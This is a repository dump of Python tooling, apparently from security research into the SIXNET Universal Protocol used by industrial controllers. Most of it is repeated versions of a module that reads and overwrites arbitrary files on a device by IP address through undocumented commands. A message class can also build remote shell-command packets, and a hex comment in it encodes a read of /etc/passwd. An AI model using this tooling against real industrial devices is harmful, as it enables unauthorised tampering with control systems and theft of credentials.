157 | **/packages/*
158 | # except build/, which is used as an MSBuild target.
159 | !**/packages/build/
160 | # Uncomment if necessary however generally it will be regenerated when needed
161 | #!**/packages/repositories.config
162 | # NuGet v3's project.json files produces more ignoreable files
163 | *.nuget.props
164 | *.nuget.targets
165 |
166 | # Microsoft Azure Build Output
167 | csx/
168 | *.build.csdef
169 |
170 | # Microsoft Azure Emulator
171 | ecf/
172 | rcf/
173 |
174 | # Windows Store app package directories and files
175 | AppPackages/
176 | BundleArtifacts/
177 | Package.StoreAssociation.xml
178 | _pkginfo.txt
179 |
180 | # Visual Studio cache files
181 | # files ending in .cache can be ignored
182 | *.[Cc]ache
183 | # but keep track of directories ending in .cache
184 | !*.[Cc]ache/
185 |
186 | # Others
187 | ClientBin/
188 | ~$*
189 | *~
190 | *.dbmdl
191 | *.dbproj.schemaview
192 | *.jfm
193 | *.pfx
194 | *.publishsettings
195 | node_modules/
196 | orleans.codegen.cs
197 |
198 | # Since there are multiple workflows, uncomment next line to ignore bower_components
199 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
200 | #bower_components/
201 |
202 | # RIA/Silverlight projects
203 | Generated_Code/
204 |
205 | # Backup & report files from converting an old project file
206 | # to a newer Visual Studio version. Backup files are not needed,
207 | # because we have git ;-)
208 | _UpgradeReport_Files/
209 | Backup*/
210 | UpgradeLog*.XML
211 | UpgradeLog*.htm
212 |
213 | # SQL Server files
214 | *.mdf
215 | *.ldf
216 |
217 | # Business Intelligence projects
218 | *.rdl.data
219 | *.bim.layout
220 | *.bim_*.settings
221 |
222 | # Microsoft Fakes
223 | FakesAssemblies/
224 |
225 | # GhostDoc plugin setting file
226 | *.GhostDoc.xml
227 |
228 | # Node.js Tools for Visual Studio
229 | .ntvs_analysis.dat
230 |
231 | # Visual Studio 6 build log
232 | *.plg
233 |
234 | # Visual Studio 6 workspace options file
235 | *.opt
236 |
237 | # Visual Studio LightSwitch build output
238 | **/*.HTMLClient/GeneratedArtifacts
239 | **/*.DesktopClient/GeneratedArtifacts
240 | **/*.DesktopClient/ModelManifest.xml
241 | **/*.Server/GeneratedArtifacts
242 | **/*.Server/ModelManifest.xml
243 | _Pvt_Extensions
244 |
245 | # Paket dependency manager
246 | .paket/paket.exe
247 | paket-files/
248 |
249 | # FAKE - F# Make
250 | .fake/
251 |
252 | # JetBrains Rider
253 | .idea/
254 | *.sln.iml
255 |
256 | # CodeRush
257 | .cr/
258 |
259 | # Python Tools for Visual Studio (PTVS)
260 | __pycache__/
261 | *.pyc
--------------------------------------------------------------------------------
/.svn/pristine/ce/ceed0a83f4a299fa56795aaef39abab69ffc60d2.svn-base:
--------------------------------------------------------------------------------
1 | import SUP_message
2 | import Fingerprinter
3 | import common_lib
4 | import random, string
5 |
6 | #I guess we just craft a message and send that shit? idk lol lets do it
7 |
8 | #the protocol seems to send over the path of the file it wants first, then gets a blank ACK, sends a blank 1A command, then gets the contents
9 | #of the file in the second reply
10 | max_reply_size = 225
11 |
12 | def write_file(file_path, file_contents, ip):
13 | """Write file_contents to file_path on the sixnet device specified by ip. This will overwrite an existing file"""
14 |
15 | #first create a temp file to write to, then rename the temp file to the file you want to create/overwrite
16 | #this makes the operation atomic so I can't erase some important config file and error out before I can write the new data to it
17 | #the tmp file name is just the regular file name, extension and all, with some random characters added to the end
18 | tmp_file_path = file_path + "".join(random.choice(string.letters) for i in xrange(10))
19 |
20 | pkt = SUP_message.sup_msg()
21 |
22 | pkt.file_command(tmp_file_path, "w", len(file_contents))
23 | #this sends over the name a file to create? iotk sends over the file path but with a .TMP extension
24 | reply = Fingerprinter.send_msg(pkt.create(), ip)
25 | #"7d:27:ff:f0:c0:0a:1a:03:03:00:00:00:2d:2f:65:74:63:2f:6d:65:68:64:69:2f:77:72:69:74:65:5f:74:65:73:74:2e:54:4d:50:00:1d:0f
26 |
27 | #reply has some info I probably need to pull out and use in the next message - last 8 bytes of data field
28 | #no file name is passed when actually writing data so I guess this is just making sure we are talking about the same file
29 | check = reply.data[-8:]
30 |
31 | index = 0 #index indicating the place in the file to write to
32 | while index < len(file_contents):
33 |
34 | #keep track of how much you are writing
35 | if len(file_contents) - index > max_reply_size:
36 | size_to_write = max_reply_size
37 | else:
38 | size_to_write = len(file_contents) - index
39 |
40 | #write that stuff! I don't think the reply is neccesary but whatever there you go
41 | pkt.write_data(file_contents[index:index+size_to_write], check, index)
42 | reply = Fingerprinter.send_msg(pkt.create(), ip)
43 |
44 | index += size_to_write
45 |
46 | #tmp file all done being created, rename it
47 | rename_file(tmp_file_path, file_path, ip)
48 |
49 | def rename_file(old_path, new_path, ip):
50 | """Renames a file on target sixnet device"""
51 | """command 1a09 must be rename"""
52 | pkt = SUP_message.sup_msg()
53 | pkt.generic_msg()
54 |
55 | pkt.command = "1a"
56 | pkt.data = "0900" + old_path.encode("hex") + "00" + new_path.encode("hex") +"00"
57 | pkt.calc_length()
58 |
59 | #send off the command
60 | Fingerprinter.send_msg(pkt.create(), ip)
61 | return
62 |
63 | def get_file(file_path, ip):
64 | """Gets the file specified by file_path from the sixnet device at the specified ip. Returns null if file does not exist"""
65 | pkt = SUP_message.sup_msg()
66 |
67 | pkt.file_command(file_path, "r")
68 | reply = Fingerprinter.send_msg(pkt.create(), ip)
69 |
70 | #I think if the first byte of the data field is 0x02 then the file does not exist
71 | if reply.data[:2] == "02":
72 | return None
73 |
74 | #send this after the ACK?
75 | #7d:0d:ff:f0:c0:01:1a:06:00:04:9f:9f:80:1d:0f
76 | #reply = Fingerprinter.send_msg("7d0dfff0c0011a0600049f9f801d0f", ip)
77 | #So this didn't quite work. The packet that was sent back this time had some different stuff in it
78 | #I think I need to make that different stuff match in the second packet I send over
79 |
80 | code = check_value(reply)
81 | #this comes back with the name of the file, I guess as a confirmation?
82 | #AH-HA! This also returns the file size. String manipulate your way to freedom, little file size
83 | reply = Fingerprinter.send_msg("7d0dfff0c0011a06" + code + "1d0f", ip)
84 | total_file_size = get_file_size(reply)
85 |
86 | #this is where the actual file gets pushed over.
87 | file_str = ""
88 |
89 | #keep pulling data until there is no more data to pull!
90 | while len(file_str) < total_file_size:
91 |
92 | #see how much of the file is left to send over
93 | if total_file_size - len(file_str) > max_reply_size:
94 | size_to_request = max_reply_size
95 | else:
96 | size_to_request = total_file_size - len(file_str)
97 |
98 | #ok so, tell it from where in the file to start reading and how many characters to read
99 | start_index = common_lib.int_to_hex_string(len(file_str)).zfill(8)
100 | characters_to_read = common_lib.int_to_hex_string(size_to_request)
101 |
102 | reply = Fingerprinter.send_msg("7d12fff0c0021a01" + code[2:] + start_index + "00" + characters_to_read + "1d0f", ip)
103 |
104 | #The file data is in the reply, I just need to format it and shit.
105 | #there are 22 bytes of unneeded stuff before the actual contents of the file, don't print that
106 | file_str += reply.data[22:].decode("hex")
107 |
108 |
109 | return file_str
110 |
111 | #get the last 10 characters of the data field, this is needed for some reason
112 | def check_value(reply):
113 | value = reply.data
114 | value = value[-10:]
115 | return value
116 |
117 | #Returns the file size give a reply
118 | def get_file_size(reply):
119 | size = reply.data[-20:]
120 | size = size[:10]
121 | return int(size,16)
--------------------------------------------------------------------------------
/.svn/pristine/09/09add52f1485422ee00d31d3878a1f9aa22e025e.svn-base:
--------------------------------------------------------------------------------
1 | import SUP_message
2 | import STX_Networking
3 | import common_lib
4 | import random, string
5 |
6 | #I guess we just craft a message and send that shit? idk lol lets do it
7 |
8 | #the protocol seems to send over the path of the file it wants first, then gets a blank ACK, sends a blank 1A command, then gets the contents
9 | #of the file in the second reply
10 | max_reply_size = 225
11 |
12 | def write_file(file_path, file_contents, ip):
13 | """Write file_contents to file_path on the sixnet device specified by ip. This will overwrite an existing file"""
14 |
15 | #first create a temp file to write to, then rename the temp file to the file you want to create/overwrite
16 | #this makes the operation atomic so I can't erase some important config file and error out before I can write the new data to it
17 | #the tmp file name is just the regular file name, extension and all, with some random characters added to the end
18 | tmp_file_path = file_path + "".join(random.choice(string.letters) for i in xrange(10))
19 |
20 | pkt = SUP_message.sup_msg()
21 |
22 | pkt.file_command(tmp_file_path, "w", len(file_contents))
23 | #this sends over the name a file to create? iotk sends over the file path but with a .TMP extension
24 | reply = STX_Networking.send_msg(pkt.create(), ip)
25 | #"7d:27:ff:f0:c0:0a:1a:03:03:00:00:00:2d:2f:65:74:63:2f:6d:65:68:64:69:2f:77:72:69:74:65:5f:74:65:73:74:2e:54:4d:50:00:1d:0f
26 |
27 | #reply has some info I probably need to pull out and use in the next message - last 8 bytes of data field
28 | #no file name is passed when actually writing data so I guess this is just making sure we are talking about the same file
29 | check = reply.data[-8:]
30 |
31 | index = 0 #index indicating the place in the file to write to
32 | while index < len(file_contents):
33 |
34 | #keep track of how much you are writing
35 | if len(file_contents) - index > max_reply_size:
36 | size_to_write = max_reply_size
37 | else:
38 | size_to_write = len(file_contents) - index
39 |
40 | #write that stuff! I don't think the reply is neccesary but whatever there you go
41 | pkt.write_data(file_contents[index:index+size_to_write], check, index)
42 | reply = STX_Networking.send_msg(pkt.create(), ip)
43 |
44 | index += size_to_write
45 |
46 | #tmp file all done being created, rename it
47 | rename_file(tmp_file_path, file_path, ip)
48 |
49 | def rename_file(old_path, new_path, ip):
50 | """Renames a file on target sixnet device"""
51 | """command 1a09 must be rename"""
52 | pkt = SUP_message.sup_msg()
53 | pkt.generic_msg()
54 |
55 | pkt.command = "1a"
56 | #rename is FILEOP followed by a 0900
57 | pkt.data = "0900" + old_path.encode("hex") + "00" + new_path.encode("hex") +"00"
58 | pkt.calc_length()
59 |
60 | #send off the command
61 | STX_Networking.send_msg(pkt.create(), ip)
62 | return
63 |
64 | def get_file(file_path, ip):
65 | """Gets the file specified by file_path from the sixnet device at the specified ip. Returns null if file does not exist"""
66 | pkt = SUP_message.sup_msg()
67 |
68 | pkt.file_command(file_path, "r")
69 | reply = STX_Networking.send_msg(pkt.create(), ip)
70 |
71 | #I think if the first byte of the data field is 0x02 then the file does not exist
72 | if reply.data[:2] == "02":
73 | return None
74 |
75 | #send this after the ACK?
76 | #7d:0d:ff:f0:c0:01:1a:06:00:04:9f:9f:80:1d:0f
77 | #reply = STX_Networking.send_msg("7d0dfff0c0011a0600049f9f801d0f", ip)
78 | #So this didn't quite work. The packet that was sent back this time had some different stuff in it
79 | #I think I need to make that different stuff match in the second packet I send over
80 |
81 | code = check_value(reply)
82 | #this comes back with the name of the file, I guess as a confirmation?
83 | #AH-HA! This also returns the file size. String manipulate your way to freedom, little file size
84 | reply = STX_Networking.send_msg("7d0dfff0c0011a06" + code + "1d0f", ip)
85 | total_file_size = get_file_size(reply)
86 |
87 | #this is where the actual file gets pushed over.
88 | file_str = ""
89 |
90 | #keep pulling data until there is no more data to pull!
91 | while len(file_str) < total_file_size:
92 |
93 | #see how much of the file is left to send over
94 | if total_file_size - len(file_str) > max_reply_size:
95 | size_to_request = max_reply_size
96 | else:
97 | size_to_request = total_file_size - len(file_str)
98 |
99 | #ok so, tell it from where in the file to start reading and how many characters to read
100 | start_index = common_lib.int_to_hex_string(len(file_str)).zfill(8)
101 | characters_to_read = common_lib.int_to_hex_string(size_to_request)
102 |
103 | reply = STX_Networking.send_msg("7d12fff0c0021a01" + code[2:] + start_index + "00" + characters_to_read + "1d0f", ip)
104 |
105 | #The file data is in the reply, I just need to format it and shit.
106 | #there are 22 bytes of unneeded stuff before the actual contents of the file, don't print that
107 | file_str += reply.data[22:].decode("hex")
108 |
109 |
110 | return file_str
111 |
112 | #get the last 10 characters of the data field, this is needed for some reason
113 | def check_value(reply):
114 | value = reply.data
115 | value = value[-10:]
116 | return value
117 |
118 | #Returns the file size give a reply
119 | def get_file_size(reply):
120 | size = reply.data[-20:]
121 | size = size[:10]
122 | return int(size,16)
--------------------------------------------------------------------------------
/SIXNET tools/file_manip.py:
--------------------------------------------------------------------------------
1 | from __future__ import print_function
2 | import SUP_message
3 | import STX_Networking
4 | import common_lib
5 | import random, string
6 |
7 | #I guess we just craft a message and send that shit? idk lol lets do it
8 |
9 | #the protocol seems to send over the path of the file it wants first, then gets a blank ACK, sends a blank 1A command, then gets the contents
10 | #of the file in the second reply
11 | max_reply_size = 225
12 |
13 | def write_file(ip, file_path, file_contents):
14 | """Write file_contents to file_path on the sixnet device specified by ip. This will overwrite an existing file"""
15 |
16 | #first create a temp file to write to, then rename the temp file to the file you want to create/overwrite
17 | #this makes the operation atomic so I can't erase some important config file and error out before I can write the new data to it
18 | #the tmp file name is just the regular file name, extension and all, with some random characters added to the end
19 | tmp_file_path = file_path + "".join(random.choice(string.letters) for i in xrange(10))
20 |
21 | pkt = SUP_message.sup_msg()
22 |
23 | pkt.file_command(tmp_file_path, "w", len(file_contents))
24 | #this sends over the name a file to create? iotk sends over the file path but with a .TMP extension
25 | reply = STX_Networking.send_msg(pkt.create(), ip)
26 | #"7d:27:ff:f0:c0:0a:1a:03:03:00:00:00:2d:2f:65:74:63:2f:6d:65:68:64:69:2f:77:72:69:74:65:5f:74:65:73:74:2e:54:4d:50:00:1d:0f
27 |
28 | #reply has some info I probably need to pull out and use in the next message - last 8 bytes of data field
29 | #no file name is passed when actually writing data so I guess this is just making sure we are talking about the same file
30 | check = reply.data[-8:]
31 |
32 | index = 0 #index indicating the place in the file to write to
33 | while index < len(file_contents):
34 |
35 | #keep track of how much you are writing
36 | if len(file_contents) - index > max_reply_size:
37 | size_to_write = max_reply_size
38 | else:
39 | size_to_write = len(file_contents) - index
40 |
41 | #write that stuff! I don't think the reply is neccesary but whatever there you go
42 | pkt.write_data(file_contents[index:index+size_to_write], check, index)
43 | reply = STX_Networking.send_msg(pkt.create(), ip)
44 |
45 | index += size_to_write
46 |
47 | #tmp file all done being created, rename it
48 | rename_file(tmp_file_path, file_path, ip)
49 |
50 | def rename_file(old_path, new_path, ip):
51 | """Renames a file on target sixnet device"""
52 | """command 1a09 must be rename"""
53 | pkt = SUP_message.sup_msg()
54 | pkt.generic_msg()
55 |
56 | pkt.command = "1a"
57 | #rename is FILEOP followed by a 0900
58 | pkt.data = "0900" + old_path.encode("hex") + "00" + new_path.encode("hex") +"00"
59 | pkt.calc_length()
60 |
61 | #send off the command
62 | STX_Networking.send_msg(pkt.create(), ip)
63 | return
64 |
65 | def get_file(ip, file_path, local_path = None):
66 | """Gets the file specified by file_path from the sixnet device at the specified ip. Returns null if file does not exist.
67 | If local_path is specified then remote file is copied to local file"""
68 | pkt = SUP_message.sup_msg()
69 |
70 | pkt.file_command(file_path, "r")
71 | reply = STX_Networking.send_msg(pkt.create(), ip)
72 |
73 | #I think if the first byte of the data field is 0x02 then the file does not exist
74 | if reply.data[:2] == "02":
75 | return None
76 |
77 | #send this after the ACK?
78 | #7d:0d:ff:f0:c0:01:1a:06:00:04:9f:9f:80:1d:0f
79 | #reply = STX_Networking.send_msg("7d0dfff0c0011a0600049f9f801d0f", ip)
80 | #So this didn't quite work. The packet that was sent back this time had some different stuff in it
81 | #I think I need to make that different stuff match in the second packet I send over
82 |
83 | code = check_value(reply)
84 | #this comes back with the name of the file, I guess as a confirmation?
85 | #AH-HA! This also returns the file size. String manipulate your way to freedom, little file size
86 | reply = STX_Networking.send_msg("7d0dfff0c0011a06" + code + "1d0f", ip)
87 | total_file_size = get_file_size(reply)
88 |
89 | #this is where the actual file gets pushed over.
90 | file_str = ""
91 |
92 | #keep pulling data until there is no more data to pull!
93 | while len(file_str) < total_file_size:
94 |
95 | #see how much of the file is left to send over
96 | if total_file_size - len(file_str) > max_reply_size:
97 | size_to_request = max_reply_size
98 | else:
99 | size_to_request = total_file_size - len(file_str)
100 |
101 | #ok so, tell it from where in the file to start reading and how many characters to read
102 | start_index = common_lib.int_to_hex_string(len(file_str)).zfill(8)
103 | characters_to_read = common_lib.int_to_hex_string(size_to_request)
104 |
105 | reply = STX_Networking.send_msg("7d12fff0c0021a01" + code[2:] + start_index + "00" + characters_to_read + "1d0f", ip)
106 |
107 | #The file data is in the reply, I just need to format it and shit.
108 | #there are 22 bytes of unneeded stuff before the actual contents of the file, don't print that
109 | file_str += reply.data[22:].decode("hex")
110 |
111 | if(local_path == None):
112 | return file_str
113 | else:
114 | try:
115 | log = open(local_path, "w")
116 | print(file_str, file = log)
117 | log.close
118 | except IOError:
119 | print("File operation failed")
120 |
121 |
122 | #get the last 10 characters of the data field, this is needed for some reason
123 | def check_value(reply):
124 | value = reply.data
125 | value = value[-10:]
126 | return value
127 |
128 | #Returns the file size give a reply
129 | def get_file_size(reply):
130 | size = reply.data[-20:]
131 | size = size[:10]
132 | return int(size,16)
--------------------------------------------------------------------------------
/.svn/pristine/13/13c5d1fc6825d70e7e563941168109e9876f44bd.svn-base:
--------------------------------------------------------------------------------
1 | from __future__ import print_function
2 | import SUP_message
3 | import STX_Networking
4 | import common_lib
5 | import random, string
6 |
7 | #I guess we just craft a message and send that shit? idk lol lets do it
8 |
9 | #the protocol seems to send over the path of the file it wants first, then gets a blank ACK, sends a blank 1A command, then gets the contents
10 | #of the file in the second reply
11 | max_reply_size = 225
12 |
13 | def write_file(ip, file_path, file_contents):
14 | """Write file_contents to file_path on the sixnet device specified by ip. This will overwrite an existing file"""
15 |
16 | #first create a temp file to write to, then rename the temp file to the file you want to create/overwrite
17 | #this makes the operation atomic so I can't erase some important config file and error out before I can write the new data to it
18 | #the tmp file name is just the regular file name, extension and all, with some random characters added to the end
19 | tmp_file_path = file_path + "".join(random.choice(string.letters) for i in xrange(10))
20 |
21 | pkt = SUP_message.sup_msg()
22 |
23 | pkt.file_command(tmp_file_path, "w", len(file_contents))
24 | #this sends over the name a file to create? iotk sends over the file path but with a .TMP extension
25 | reply = STX_Networking.send_msg(pkt.create(), ip)
26 | #"7d:27:ff:f0:c0:0a:1a:03:03:00:00:00:2d:2f:65:74:63:2f:6d:65:68:64:69:2f:77:72:69:74:65:5f:74:65:73:74:2e:54:4d:50:00:1d:0f
27 |
28 | #reply has some info I probably need to pull out and use in the next message - last 8 bytes of data field
29 | #no file name is passed when actually writing data so I guess this is just making sure we are talking about the same file
30 | check = reply.data[-8:]
31 |
32 | index = 0 #index indicating the place in the file to write to
33 | while index < len(file_contents):
34 |
35 | #keep track of how much you are writing
36 | if len(file_contents) - index > max_reply_size:
37 | size_to_write = max_reply_size
38 | else:
39 | size_to_write = len(file_contents) - index
40 |
41 | #write that stuff! I don't think the reply is neccesary but whatever there you go
42 | pkt.write_data(file_contents[index:index+size_to_write], check, index)
43 | reply = STX_Networking.send_msg(pkt.create(), ip)
44 |
45 | index += size_to_write
46 |
47 | #tmp file all done being created, rename it
48 | rename_file(tmp_file_path, file_path, ip)
49 |
50 | def rename_file(old_path, new_path, ip):
51 | """Renames a file on target sixnet device"""
52 | """command 1a09 must be rename"""
53 | pkt = SUP_message.sup_msg()
54 | pkt.generic_msg()
55 |
56 | pkt.command = "1a"
57 | #rename is FILEOP followed by a 0900
58 | pkt.data = "0900" + old_path.encode("hex") + "00" + new_path.encode("hex") +"00"
59 | pkt.calc_length()
60 |
61 | #send off the command
62 | STX_Networking.send_msg(pkt.create(), ip)
63 | return
64 |
65 | def get_file(ip, file_path, local_path = None):
66 | """Gets the file specified by file_path from the sixnet device at the specified ip. Returns null if file does not exist.
67 | If local_path is specified then remote file is copied to local file"""
68 | pkt = SUP_message.sup_msg()
69 |
70 | pkt.file_command(file_path, "r")
71 | reply = STX_Networking.send_msg(pkt.create(), ip)
72 |
73 | #I think if the first byte of the data field is 0x02 then the file does not exist
74 | if reply.data[:2] == "02":
75 | return None
76 |
77 | #send this after the ACK?
78 | #7d:0d:ff:f0:c0:01:1a:06:00:04:9f:9f:80:1d:0f
79 | #reply = STX_Networking.send_msg("7d0dfff0c0011a0600049f9f801d0f", ip)
80 | #So this didn't quite work. The packet that was sent back this time had some different stuff in it
81 | #I think I need to make that different stuff match in the second packet I send over
82 |
83 | code = check_value(reply)
84 | #this comes back with the name of the file, I guess as a confirmation?
85 | #AH-HA! This also returns the file size. String manipulate your way to freedom, little file size
86 | reply = STX_Networking.send_msg("7d0dfff0c0011a06" + code + "1d0f", ip)
87 | total_file_size = get_file_size(reply)
88 |
89 | #this is where the actual file gets pushed over.
90 | file_str = ""
91 |
92 | #keep pulling data until there is no more data to pull!
93 | while len(file_str) < total_file_size:
94 |
95 | #see how much of the file is left to send over
96 | if total_file_size - len(file_str) > max_reply_size:
97 | size_to_request = max_reply_size
98 | else:
99 | size_to_request = total_file_size - len(file_str)
100 |
101 | #ok so, tell it from where in the file to start reading and how many characters to read
102 | start_index = common_lib.int_to_hex_string(len(file_str)).zfill(8)
103 | characters_to_read = common_lib.int_to_hex_string(size_to_request)
104 |
105 | reply = STX_Networking.send_msg("7d12fff0c0021a01" + code[2:] + start_index + "00" + characters_to_read + "1d0f", ip)
106 |
107 | #The file data is in the reply, I just need to format it and shit.
108 | #there are 22 bytes of unneeded stuff before the actual contents of the file, don't print that
109 | file_str += reply.data[22:].decode("hex")
110 |
111 | if(local_path == None):
112 | return file_str
113 | else:
114 | try:
115 | log = open(local_path, "w")
116 | print(file_str, file = log)
117 | log.close
118 | except IOError:
119 | print("File operation failed")
120 |
121 |
122 | #get the last 10 characters of the data field, this is needed for some reason
123 | def check_value(reply):
124 | value = reply.data
125 | value = value[-10:]
126 | return value
127 |
128 | #Returns the file size give a reply
129 | def get_file_size(reply):
130 | size = reply.data[-20:]
131 | size = size[:10]
132 | return int(size,16)
--------------------------------------------------------------------------------
/.svn/pristine/67/67185045aea96ddc8a96cf23f4a8298e04486e6d.svn-base:
--------------------------------------------------------------------------------
1 | from __future__ import print_function
2 | import SUP_message
3 | import STX_Networking
4 | import common_lib
5 | import random, string
6 |
7 | #I guess we just craft a message and send that shit? idk lol lets do it
8 |
9 | #the protocol seems to send over the path of the file it wants first, then gets a blank ACK, sends a blank 1A command, then gets the contents
10 | #of the file in the second reply
11 | max_reply_size = 225
12 |
13 | def write_file(file_path, file_contents, ip):
14 | """Write file_contents to file_path on the sixnet device specified by ip. This will overwrite an existing file"""
15 |
16 | #first create a temp file to write to, then rename the temp file to the file you want to create/overwrite
17 | #this makes the operation atomic so I can't erase some important config file and error out before I can write the new data to it
18 | #the tmp file name is just the regular file name, extension and all, with some random characters added to the end
19 | tmp_file_path = file_path + "".join(random.choice(string.letters) for i in xrange(10))
20 |
21 | pkt = SUP_message.sup_msg()
22 |
23 | pkt.file_command(tmp_file_path, "w", len(file_contents))
24 | #this sends over the name a file to create? iotk sends over the file path but with a .TMP extension
25 | reply = STX_Networking.send_msg(pkt.create(), ip)
26 | #"7d:27:ff:f0:c0:0a:1a:03:03:00:00:00:2d:2f:65:74:63:2f:6d:65:68:64:69:2f:77:72:69:74:65:5f:74:65:73:74:2e:54:4d:50:00:1d:0f
27 |
28 | #reply has some info I probably need to pull out and use in the next message - last 8 bytes of data field
29 | #no file name is passed when actually writing data so I guess this is just making sure we are talking about the same file
30 | check = reply.data[-8:]
31 |
32 | index = 0 #index indicating the place in the file to write to
33 | while index < len(file_contents):
34 |
35 | #keep track of how much you are writing
36 | if len(file_contents) - index > max_reply_size:
37 | size_to_write = max_reply_size
38 | else:
39 | size_to_write = len(file_contents) - index
40 |
41 | #write that stuff! I don't think the reply is neccesary but whatever there you go
42 | pkt.write_data(file_contents[index:index+size_to_write], check, index)
43 | reply = STX_Networking.send_msg(pkt.create(), ip)
44 |
45 | index += size_to_write
46 |
47 | #tmp file all done being created, rename it
48 | rename_file(tmp_file_path, file_path, ip)
49 |
50 | def rename_file(old_path, new_path, ip):
51 | """Renames a file on target sixnet device"""
52 | """command 1a09 must be rename"""
53 | pkt = SUP_message.sup_msg()
54 | pkt.generic_msg()
55 |
56 | pkt.command = "1a"
57 | #rename is FILEOP followed by a 0900
58 | pkt.data = "0900" + old_path.encode("hex") + "00" + new_path.encode("hex") +"00"
59 | pkt.calc_length()
60 |
61 | #send off the command
62 | STX_Networking.send_msg(pkt.create(), ip)
63 | return
64 |
65 | def get_file(file_path, ip, local_path = None):
66 | """Gets the file specified by file_path from the sixnet device at the specified ip. Returns null if file does not exist.
67 | If local_path is specified then remote file is copied to local file"""
68 | pkt = SUP_message.sup_msg()
69 |
70 | pkt.file_command(file_path, "r")
71 | reply = STX_Networking.send_msg(pkt.create(), ip)
72 |
73 | #I think if the first byte of the data field is 0x02 then the file does not exist
74 | if reply.data[:2] == "02":
75 | return None
76 |
77 | #send this after the ACK?
78 | #7d:0d:ff:f0:c0:01:1a:06:00:04:9f:9f:80:1d:0f
79 | #reply = STX_Networking.send_msg("7d0dfff0c0011a0600049f9f801d0f", ip)
80 | #So this didn't quite work. The packet that was sent back this time had some different stuff in it
81 | #I think I need to make that different stuff match in the second packet I send over
82 |
83 | code = check_value(reply)
84 | #this comes back with the name of the file, I guess as a confirmation?
85 | #AH-HA! This also returns the file size. String manipulate your way to freedom, little file size
86 | reply = STX_Networking.send_msg("7d0dfff0c0011a06" + code + "1d0f", ip)
87 | total_file_size = get_file_size(reply)
88 |
89 | #this is where the actual file gets pushed over.
90 | file_str = ""
91 |
92 | #keep pulling data until there is no more data to pull!
93 | while len(file_str) < total_file_size:
94 |
95 | #see how much of the file is left to send over
96 | if total_file_size - len(file_str) > max_reply_size:
97 | size_to_request = max_reply_size
98 | else:
99 | size_to_request = total_file_size - len(file_str)
100 |
101 | #ok so, tell it from where in the file to start reading and how many characters to read
102 | start_index = common_lib.int_to_hex_string(len(file_str)).zfill(8)
103 | characters_to_read = common_lib.int_to_hex_string(size_to_request)
104 |
105 | reply = STX_Networking.send_msg("7d12fff0c0021a01" + code[2:] + start_index + "00" + characters_to_read + "1d0f", ip)
106 |
107 | #The file data is in the reply, I just need to format it and shit.
108 | #there are 22 bytes of unneeded stuff before the actual contents of the file, don't print that
109 | file_str += reply.data[22:].decode("hex")
110 |
111 | if(local_path == None):
112 | return file_str
113 | else:
114 | try:
115 | log = open(local_path, "w")
116 | print(file_str, file = log)
117 | log.close
118 | except IOError:
119 | print("File operation failed")
120 |
121 |
122 | #get the last 10 characters of the data field, this is needed for some reason
123 | def check_value(reply):
124 | value = reply.data
125 | value = value[-10:]
126 | return value
127 |
128 | #Returns the file size give a reply
129 | def get_file_size(reply):
130 | size = reply.data[-20:]
131 | size = size[:10]
132 | return int(size,16)
--------------------------------------------------------------------------------
/.svn/pristine/6c/6c599bcddd3a28906529b4ad90e7ef576702a787.svn-base:
--------------------------------------------------------------------------------
1 | import common_lib
2 |
3 |
4 | class sup_msg(object):
5 | """SIXNET Universal Protocol message
6 | #field order/size (bytes)
7 | # lead 1
8 | # length 1
9 | # dest 1 or 2
10 | # src 1 or 2
11 | # session 1
12 | # sequence 1
13 | # command 1
14 | # data variable
15 | # crc 2"""
16 | #TODO:
17 |
18 | commands = {
19 | 0 : "NOP", 1 : "ACK", 2 : "NAK", 3 : "VERS",
20 | 4 : "NIO", 10 : "GETD", 11 : "GETB", 12 : "GETA",
21 | 13 : "GETS", 14 : "PUTD", 15 : "PUTB", 16 : "PUTA",
22 | 17 : "SETD", 18 : "CLRD", 24 : "SCLOCK", 25 : "GCLOCK",
23 | 26 : "FILEOP", 32 : "IOXCHG", 208 : "Execute command"
24 | }
25 |
26 | #message for a NOP command (DOES NOT WORK)
27 | NOP = "7d07fff0c00000d70f".decode("hex")
28 |
29 | def __init__(self, message = None):
30 | if(not message is None):
31 | #if there is a message in the constructor then build a sup_msg from it
32 | self.message = message
33 | self.breakdown(message)
34 |
35 | def shell_command(self, shell_command):
36 | #7d15fff0c0001a00012f6574632f706173737764001d0f
37 | """Creates a sup message from a given command and data"""
38 | self.lead = "}".encode("hex")
39 | self.dst = "ff"
40 | self.src = "f0"
41 | self.session = "c0"
42 | self.sequence = "00"
43 | self.command = "d0"
44 | self.data = "1e0100" + shell_command.encode("hex") + "00"
45 | self.crc = "1d0f"
46 | self.length = (len(self.dst) + len(self.src) + len(self.session) + len(self.sequence) + len(self.command) + len(self.data) + len(self.crc))/2
47 |
48 | def file_command(self, file_path, r_w, file_size=None):
49 | #7d:14:ff:f0:c0:00:1a:00:03:2f:65:74:63:2f:68:6f:73:74:73:00:1d:0f
50 | """Creates a sup message to retrieve a file from the device. file_size is only required if writing to the device"""
51 | self.lead = "}".encode("hex")
52 | self.dst = "ff"
53 | self.src = "f0"
54 | self.session = "c0"
55 | self.sequence = "00"
56 | self.command = "1a" #another undocumented command
57 | if r_w == "r":
58 | self.data = "0003" + file_path.encode("hex") + "00"
59 | elif r_w == "w":
60 | self.data = "0303" + common_lib.int_to_hex_string(file_size).zfill(8) + file_path.encode("hex") + "00"
61 | else:
62 | raise ValueError('r_w is not an \'r\' or a \'w\'')
63 | self.crc = "1d0f"
64 | self.length = (len(self.dst) + len(self.src) + len(self.session) + len(self.sequence) + len(self.command) + len(self.data) + len(self.crc))/2
65 |
66 | def write_data(self, contents, check, start_index):
67 | """Creates a sup message to retrieve a file from the device. file_size is only required if writing to the device"""
68 | self.lead = "}".encode("hex")
69 | self.dst = "ff"
70 | self.src = "f0"
71 | self.session = "c0"
72 | self.sequence = "00"
73 | self.command = "1a" #another undocumented command
74 | self.data = "02" + check + common_lib.int_to_hex_string(start_index).zfill(8) + common_lib.int_to_hex_string(len(contents)).zfill(4)
75 | self.data += contents.encode("hex")
76 | self.crc = "1d0f"
77 | self.length = (len(self.dst) + len(self.src) + len(self.session) + len(self.sequence) + len(self.command) + len(self.data) + len(self.crc))/2
78 |
79 | def generic_msg(self):
80 | """Creates a generic SUP message. Fill in the command and data yourself"""
81 | self.lead = "}".encode("hex")
82 | self.dst = "ff"
83 | self.src = "f0"
84 | self.session = "c0"
85 | self.sequence = "00"
86 | self.crc = "1d0f"
87 |
88 | def calc_length(self):
89 | """Calculates the length field for the message"""
